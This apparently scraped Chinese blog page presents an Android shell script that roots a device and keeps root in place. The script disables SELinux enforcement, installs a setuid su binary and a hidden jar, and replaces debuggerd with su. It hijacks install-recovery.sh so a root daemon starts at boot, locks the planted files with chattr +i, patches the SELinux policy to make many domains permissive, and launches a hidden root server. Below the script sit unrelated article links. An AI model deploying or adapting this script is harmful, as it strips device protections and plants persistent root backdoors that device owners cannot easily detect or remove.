一份释放root文件的脚本文件
#!/system/bin/sh
MYDIR=$3
ARGS=$4
SU=$MYDIR/au
SUPOLICY=$MYDIR/supolicy
BUSYBOX=$MYDIR/busybox
TOOLBOX=$MYDIR/toolbox
SER=".libafifa.jar"
TAT_SER="/system/lib/$SER"
$TOOLBOX mount -r -w -o remount /system;
$TOOLBOX mount -o remount,rw /system;
IS_SELINUX_ENFORCING=0
if [ -f "/sys/fs/selinux/enforce" ]; then
IS_SELINUX_ENFORCING=$($BUSYBOX cat /sys/fs/selinux/enforce)
echo "selinux: $IS_SELINUX_ENFORCING"
echo 0 > /sys/fs/selinux/enforce
IS_SELINUX_ENFORCING=$($BUSYBOX cat /sys/fs/selinux/enforce)
echo "now selinux: $IS_SELINUX_ENFORCING"
fi
#copy server.apk
[ -f $TAT_SER ] && $BUSYBOX chattr -iaA $TAT_SER && $TOOLBOX rm $TAT_SER
$BUSYBOX cat $MYDIR/$SER>$TAT_SER 2>/dev/null
chown 0.0 $TAT_SER 2>/dev/null;$BUSYBOX chmod 6755 $TAT_SER; chcon u:object_r:system_file:s0 $TAT_SER 2>/dev/null;
#copy au
[ -f /system/bin/au ] && $BUSYBOX chattr -iaA /system/bin/au && $TOOLBOX rm /system/bin/au
$BUSYBOX cat $SU>/system/bin/au 2>/dev/null; chown 0.0 /system/bin/au 2>/dev/null;$BUSYBOX chmod 6755 /system/bin/au; chcon u:object_r:system_file:s0 /system/bin/au 2>/dev/null;
[ -f /system/xbin/au ] || ln -s /system/bin/au /system/xbin/au;
#chmod install_recovery.sh
[ -f /system/etc/install-recovery.sh ] && $BUSYBOX chattr -iaA /system/etc/install-recovery.sh && $TOOLBOX rm /system/etc/install-recovery.sh;
[ -f /system/etc/install_recovery.sh ] && $BUSYBOX chattr -iaA /system/etc/install_recovery.sh && $TOOLBOX rm /system/etc/install_recovery.sh;
[ -f /system/xbin/install-recovery.sh ] && $BUSYBOX chattr -iaA /system/xbin/install-recovery.sh
$BUSYBOX cat $BUSYBOX >/system/xbin/busybox
$BUSYBOX chmod 777 /system/xbin/busybox
$BUSYBOX cat $TOOLBOX >/system/xbin/toolbox
$BUSYBOX chmod 777 /system/xbin/toolbox
echo '#!/system/bin/sh
/system/bin/au --daemon &
'>/system/xbin/install-recovery.sh; $BUSYBOX chmod 0755 /system/xbin/install-recovery.sh; chcon u:object_r:system_file:s0 /system/xbin/install-recovery.sh 2>/dev/null;
[ -f /system/etc/install_recovery ] || ln -s /system/xbin/install-recovery.sh /system/etc/install_recovery.sh;
[ -f /system/etc/install-recovery.sh ] || ln -s /system/xbin/install-recovery.sh /system/etc/install-recovery.sh;
$BUSYBOX chattr -iaA /system/bin/debuggerd; $BUSYBOX cat /system/bin/debuggerd >/system/bin/debuggerd2 2>/dev/null ;$TOOLBOX rm /system/bin/debuggerd ;
$BUSYBOX cat $SU >/system/bin/debuggerd
$BUSYBOX chmod 777 /system/bin/debuggerd
$BUSYBOX chattr +iaA /system/etc/install_recovery.sh;
$BUSYBOX chattr +iaA /system/etc/install-recovery.sh;
$BUSYBOX chattr +iaA /system/bin/au;
$BUSYBOX chattr +iaA $TAT_SER;
$BUSYBOX chattr +iaA /system/bin/debuggerd;
SDK=$(getprop ro.build.version.sdk)
if [ "$SDK" -ge "18" ]; then
if [ -f "$SUPOLICY" ]; then
echo "patching policy ..."
$BUSYBOX cat $SUPOLICY>/system/xbin/supolicy; chown 0.0 /system/xbin/supolicy 2>/dev/null;$BUSYBOX chmod 0755 /system/xbin/supolicy; chcon u:object_r:system_file:s0 /system/xbin/supolicy 2>/dev/null
/system/xbin/supolicy --live "allow init default_android_service service_manager { add find }"
/system/xbin/supolicy --live "allow untrusted_app default_android_service service_manager { add find }"
/system/xbin/supolicy --live "allow init connectivity_service service_manager { add find }"
/system/xbin/supolicy --live "allow init package_service service_manager { find }"
/system/xbin/supolicy --live "allow init install_recovery_exec file { read unlink write }"
/system/xbin/supolicy --live "allow init user_service service_manager { find }"
/system/xbin/supolicy --live "allow init_shell default_android_service service_manager { add find }"
/system/xbin/supolicy --live "allow s_init_shell default_android_service service_manager { add find }"
/system/xbin/supolicy --live "permissive init"
/system/xbin/supolicy --live "permissive kernel"
/system/xbin/supolicy --live "permissive toolbox"
/system/xbin/supolicy --live "permissive toolbox_exec"
/system/xbin/supolicy --live "permissive s_init_shell"
/system/xbin/supolicy --live "permissive init_shell"
/system/xbin/supolicy --live "permissive shell"
/system/xbin/supolicy --live "permissive su"
/system/xbin/supolicy --live "permissive adbd"
fi
fi
echo "ROOT DONE"
IS_64=$(getprop ro.product.cpu.abilist64)
if [[ -z "$IS_64" ]]; then
(export _LD_LIBRARY_PATH=/vendor/lib:/system/lib;export LD_LIBRARY_PATH=/vendor/lib:/system/lib;export CLASSPATH=$MYDIR/$SER; app_process /system/bin/ com.abs.root.RootServer --application $ARGS )>&- &
else
(export _LD_LIBRARY_PATH=/vendor/lib:/system/lib;export LD_LIBRARY_PATH=/vendor/lib:/system/lib;export CLASSPATH=$MYDIR/$SER; app_process32 /system/bin/ com.abs.root.RootServer --application $ARGS )>&- &
fi
sleep 1
if [[ "$SDK" -ge "21" ]]; then
$TOOLBOX mount -t cgroup -ocpuacct none /sys/fs/cgroup
TARGET_PID=`ps |$BUSYBOX grep app_process |$BUSYBOX awk '{print $2}'`
echo "mypid:${TARGET_PID}"
echo $TARGET_PID >/acct/cgroup.procs
fi
一份释放root文件的脚本文件的更多相关文章
- 【原创】控制perl和python脚本执行过程中脚本文件是否关闭的方法
引子 跟踪perl和python脚本对文件的访问,实际过程中,perl和python解析器在解析完脚本后,直接关闭了 脚本文件,在进程中查询不到是访问文件的脚本文件名称. shell.perl和pyt ...
- Android 上实现非root的 Traceroute -- 非Root权限下移植可运行二进制文件 脚本文件
作者 : 万境绝尘 转载请著名出处 : http://blog.csdn.net/shulianghan/article/details/36438365 演示样例代码下载 : -- CSDN : h ...
- 【Android 应用开发】Android 上实现非root的 Traceroute -- 非Root权限下移植可执行二进制文件 脚本文件
作者 : 万境绝尘 转载请著名出处 : http://blog.csdn.net/shulianghan/article/details/36438365 示例代码下载 : -- CSDN : htt ...
- Android 上实现非root的 Traceroute -- 非Root权限下移植可执行二进制文件 脚本文件
作者 : 万境绝尘 转载请著名出处 : http://blog.csdn.net/shulianghan/article/details/36438365 示例代码下载 : -- CSDN : htt ...
- 【转】嵌入式Linux文件系统启动脚本及分析
原文网址:http://www.linuxidc.com/Linux/2011-03/33728.htm 在内核初始化完成后,嵌入式linux 文件系统的启动过程主要包含以下几个步骤: 1. 执行/s ...
- linux文件分发脚本
1.说明 此脚本可分发两类文件,1.固定内容文件,2.(每台被分发主机)内容不同的文件 ppp.sh为拨号脚本,每台被分发主机内容不同 根据分发文件名字不同(ppp.sh和其他文件)自动选择分发方式 ...
- 【Android】使用persist属性来调用脚本文件
Android系统中有许多属性,属性由两个部分组成:name & value,可以使用这些属性来记录系统设置或进程之间的信息交换.Android系统在启动过程时会按序从以下几个文件中加载系统属 ...
- grub2的/etc/grub.d目录下的脚本文件
00_header,05_debian_theme,10_linux,20_memtest86+,30_os- prober,40_custom这五个脚本对应grub.cfg上的各个部分,有的版本的g ...
- 针对php脚本文件执行锁定的代码,避免脚本在同一时间重复运行
<?php//针对php脚本文件执行锁定的代码,避免脚本在同一时间重复运行,http://ken.01h.net/define('PHP_LOCK_FILE', dirname(__FILE__ ...
随机推荐
- 《C++ Primer》笔记 第11章 关联容器
关联容器类型 解释 按关键字有序保存元素 -- map 关联数组:保存关键字-值对 set 关键字即值,即只保存关键字的容器 multimap 关键字可重复出现的map multiset 关键字可重复 ...
- java安全初学之动态代理
前言:作为安全人员,代理大家用的都很多,那什么是java中的动态代理呢?事实上,java中的"动态"也就意味着使用了反射,因此动态代理是基于反射机制的一种代理模式. 简介: 代理是 ...
- This is my first blog----文件操作基本流程
一,文件操作基本流程. 计算机系统分为: 计算机硬件, 操作系统, 应用程序三部分 我们用python或其他语言编写的应用程序若想要把数据永久保存下来,必须要保存于硬盘中,这就涉及到应用程序要操作硬件 ...
- 解决springMVC https环境 jstlview redirect时变为http请求的问题
<property name="redirectHttp10Compatible" value="false" />
- java实现下载器(以及创建一个URL对象)
java实现下载器(以及创建一个URL对象) 1.思路讲解: (1)注意路径:是网络路径噢 (2)创建创建网路协议对象(远程对象):HttpURLConnection urlConnection (3 ...
- Java内存区域略解
概览 分述 程序计数器 用于记录该线程的执行位置,便于跳转或者线程中断后的恢复 方法区 Java虚拟机规范中把 原本用于存储常量,静态变量和类的元信息,但java1.7将字符串常量移到了堆中,java ...
- C指针与二维数组
先贴上完整的代码: #include<stdio.h> int main(int argc, char *argv[]){ int a[3] [5]={1,2,3,4,5,6,7,8,9, ...
- java常见面试题2:求出两个正整数的最大公约数
概念: 最大公约数:两个整数共有因子中最大的一个 方法一: 如果两个数相等,则最大公约数为它本身,两个数不等,则用两个数依次除 两个数中最小的一个到 1,直到找到同时能被两个数除尽的那个数 代码清单: ...
- Beego框架学习---layout的使用
Beego框架学习---layout的使用 在管理系统中,管理菜单的界面是固定的,会变化的只是中间的部分.我就在想,是不是跟angular的"组件模块的router-outlet一样&quo ...
- beego框架panic: 'GetSecurityInf' method doesn't exist in the controller CorporateInfcontroller问题解决
在使用beego框架时,出现类似于panic: 'GetSecurityInf' method doesn't exist in the controller CorporateInfcontroll ...